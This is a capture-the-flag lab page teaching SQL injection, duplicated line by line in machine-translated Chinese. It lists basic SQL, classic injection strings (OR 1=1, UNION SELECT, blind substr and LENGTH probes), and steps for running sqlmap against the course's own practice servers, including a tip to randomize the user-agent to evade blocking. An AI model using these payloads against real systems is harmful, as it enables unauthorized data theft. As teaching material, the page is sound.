ED 103: SQLI Challenges (205 pts) ED 103:SQLI挑战(205分)
Section 1. Essential SQL Commands第1节。基本SQL命令
First, click here to reset the server.首先,单击此处重置服务器。 Try these commands to see how SQL works.尝试使用这些命令来查看SQL的工作原理。
- SHOW DATABASES显示数据库
- SHOW TABLES显示表格
- SELECT 1选择1
- SELECT "peanut"选择“花生”
- SELECT concat("peanut", "butter") SELECT concat(“花生”,“黄油”)
- SELECT substr("peanut", 2, 2) SELECT substr(“花生”,2,2)
- SELECT substr("peanut", 2, 1) = 'e' SELECT substr(“peanut”,2,1)='e'
- SELECT substr("peanut", 2, 1) = 'a' SELECT substr(“peanut”,2,1)='a'
- SELECT * FROM employees SELECT * FROM员工
- SELECT id FROM employees SELECT id FROM employees
- SELECT id, 2 FROM employees SELECT id,2 FROM FROM员工
- SELECT name, id FROM employees WHERE id=1 SELECT名称,id FROM employees WHERE id = 1
- SELECT concat(name, id) FROM employees WHERE id=1 OR 'cat'='dog' OR 2=2 SELECT concat(name,id)FROM employees WHERE id = 1 OR'cat'='dog'OR 2 = 2
- INSERT INTO employees ( id, name, ssn ) VALUES ( 4, 'Kevin', '999-99-9999'); INSERT INTO员工(id,name,ssn)VALUES(4,'Kevin','999-99-9999');
- SELECT * from information_schema.tables SELECT *来自information_schema.tables
- SELECT TABLE_NAME from information_schema.tables来自information_schema.tables的SELECT TABLE_NAME
- SELECT * from information_schema.columns SELECT *来自information_schema.columns
- SELECT COLUMN_NAME from information_schema.columns从information_schema.columns中选择COLUMN_NAME
ED 103.1.1: SSN (5 pts) ED 103.1.1:SSN(5分)
The flag is Steve Jobs' SSN.旗帜是史蒂夫乔布斯的SSN。 ED 103.1.2: YOUNG_MAKE (10 pts) ED 103.1.2:YOUNG_MAKE(10分)
Find the data shown below.找到下面显示的数据。 The flag is covered by a green box.国旗被绿色框覆盖。
Section 2. Simple SQLi第2节。简单的SQLi
First, click here to reset the server.首先,单击此处重置服务器。 Search for these names:搜索这些名称:
- Bill Gates比尔盖茨
- Tip O'Neil提示奥尼尔
- Sam山姆
- Sam' or 1=1 #山姆'或1 = 1#
- Sam' or 'a'='a Sam'或'a'='a
- Sam' UNION SELECT 1 # Sam'UNION SELECT 1#
ED 103.2.1: SSN (15 pts) ED 103.2.1:SSN(15分)
The flag is Linus' SSN.国旗是Linus的SSN。 ED 103.2.2: Password (20 pts) ED 103.2.2:密码(20分)
The flag is Steve Jobs' password.旗帜是史蒂夫乔布斯的密码。 ED 103.2.3: Sqlmap (10 pts) ED 103.2.3:Sqlmap(10分)
Use Sqlmap on this target:在此目标上使用Sqlmap : http://ad.samsclass.info/sqli/chal2.php?u=x http://ad.samsclass.info/sqli/chal2.php?u=x
The flag is the username, covered by a green box in the image below.该标志是用户名,由下图中的绿色框覆盖。
Hint: if you get "forbidden" errors, try randomizing the user-agent 提示:如果出现“禁止”错误,请尝试随机化用户代理
ED 103.2.4: Sqlmap (20 pts) ED 103.2.4:Sqlmap(20分)
First, click here to reset the server.首先,单击此处重置服务器。 Use Sqlmap on this target:在此目标上使用Sqlmap:
https://games.samsclass.info/sqli/chal2a.php?u=Steve%20Jobs https://games.samsclass.info/sqli/chal2a.php?u=Steve%20Jobs
The flag is in the output, covered by a green box in the image below.标志位于输出中,由下图中的绿色框覆盖。
Warning: I used version {1.3#stable} -- a later version may not show the flag value.警告:我使用版本{1.3#stable} - 更高版本可能不会显示标志值。
ED 103.2.5: Sqlmap (20 pts) ED 103.2.5:Sqlmap(20分)
Use Sqlmap on this target:在此目标上使用Sqlmap: https://games.samsclass.info/sqli/chal2a.php?u=Steve%20Jobs https://games.samsclass.info/sqli/chal2a.php?u=Steve%20Jobs
The flag is Steve Jobs' SSN.旗帜是史蒂夫乔布斯的SSN。
ED 103.2.6: Sqlmap (20 pts) ED 103.2.6:Sqlmap(20分)
Use Sqlmap on this target:在此目标上使用Sqlmap: https://games.samsclass.info/sqli/chal2a.php?u=Steve%20Jobs https://games.samsclass.info/sqli/chal2a.php?u=Steve%20Jobs
The flag is the number indicating the highest-privilege user.该标志是表示最高权限用户的数字。
Section 3. Blind SQLi第3节盲目的SQLi
First, click here to reset the server.首先,单击此处重置服务器。 Try these values:试试这些值:
- Bill Gates比尔盖茨
- x X
- x' or 'a'='a x'或'a'='a
- x' or 'b'='a x'或'b'='a
- x' or 'a'='a'# x'或'a'='a'#
- x' or LENGTH(database())=1 # x'或LENGTH(database())= 1#
ED 103.3.1 Database Name Length (5 pts) ED 103.3.1数据库名称长度(5分)
The flag is the length of the database's name.标志是数据库名称的长度。 ED 103.3.2 SSN (10 pts) ED 103.3.2 SSN(10分)
Try these values:试试这些值: - x' UNION select 1# x'UNION选择1#
- x' UNION SELECT name FROM employees WHERE name='Bill Gates' AND substr(name, 1, 1)='B'# x'UNION SELECT name FROM employees WHERE name ='Bill Gates'AND substr(name,1,1)='B'#
- x' UNION SELECT name FROM employees WHERE name='Bill Gates' AND substr(name, 1, 1)='A'# x'UNION SELECT name FROM employees WHERE name ='Bill Gates'AND substr(name,1,1)='A'#
- x' UNION SELECT name FROM employees WHERE name='Bill Gates' AND substr(name, 1, 1)>'A'# x'UNION SELECT name FROM employees WHERE name ='Bill Gates'AND substr(name,1,1)>'A'#
- x' UNION SELECT name FROM employees WHERE name='Bill Gates' AND length(name)>2# x'UNION SELECT名称FROM employees WHERE name ='比尔盖茨'和长度(名称)> 2#
The flag is the first three digits of Bill Gates' SSN.这面旗帜是比尔盖茨的SSN的前三位数。 ED 103.3.3 ID (5 pts) ED 103.3.3 ID(5分)
The flag is admin's ID.该标志是管理员的ID。 ED 103.3.4 Length (5 pts) ED 103.3.4长度(5分)
The flag is the length of Bill Gates' password.标志是比尔盖茨密码的长度。 ED 103.3.5 Bill's Password (20 pts) ED 103.3.5账单密码(20分)
The flag is Bill Gates' password.国旗是比尔盖茨的密码。 ED 103.3.6 Password (30 pts) ED 103.3.6密码(30分)
The flag is admin's password.该标志是管理员的密码。
Updated 5-20-19更新5-20-19
Hint about user-agent added 5-21-19关于用户代理的提示已添加5-21-19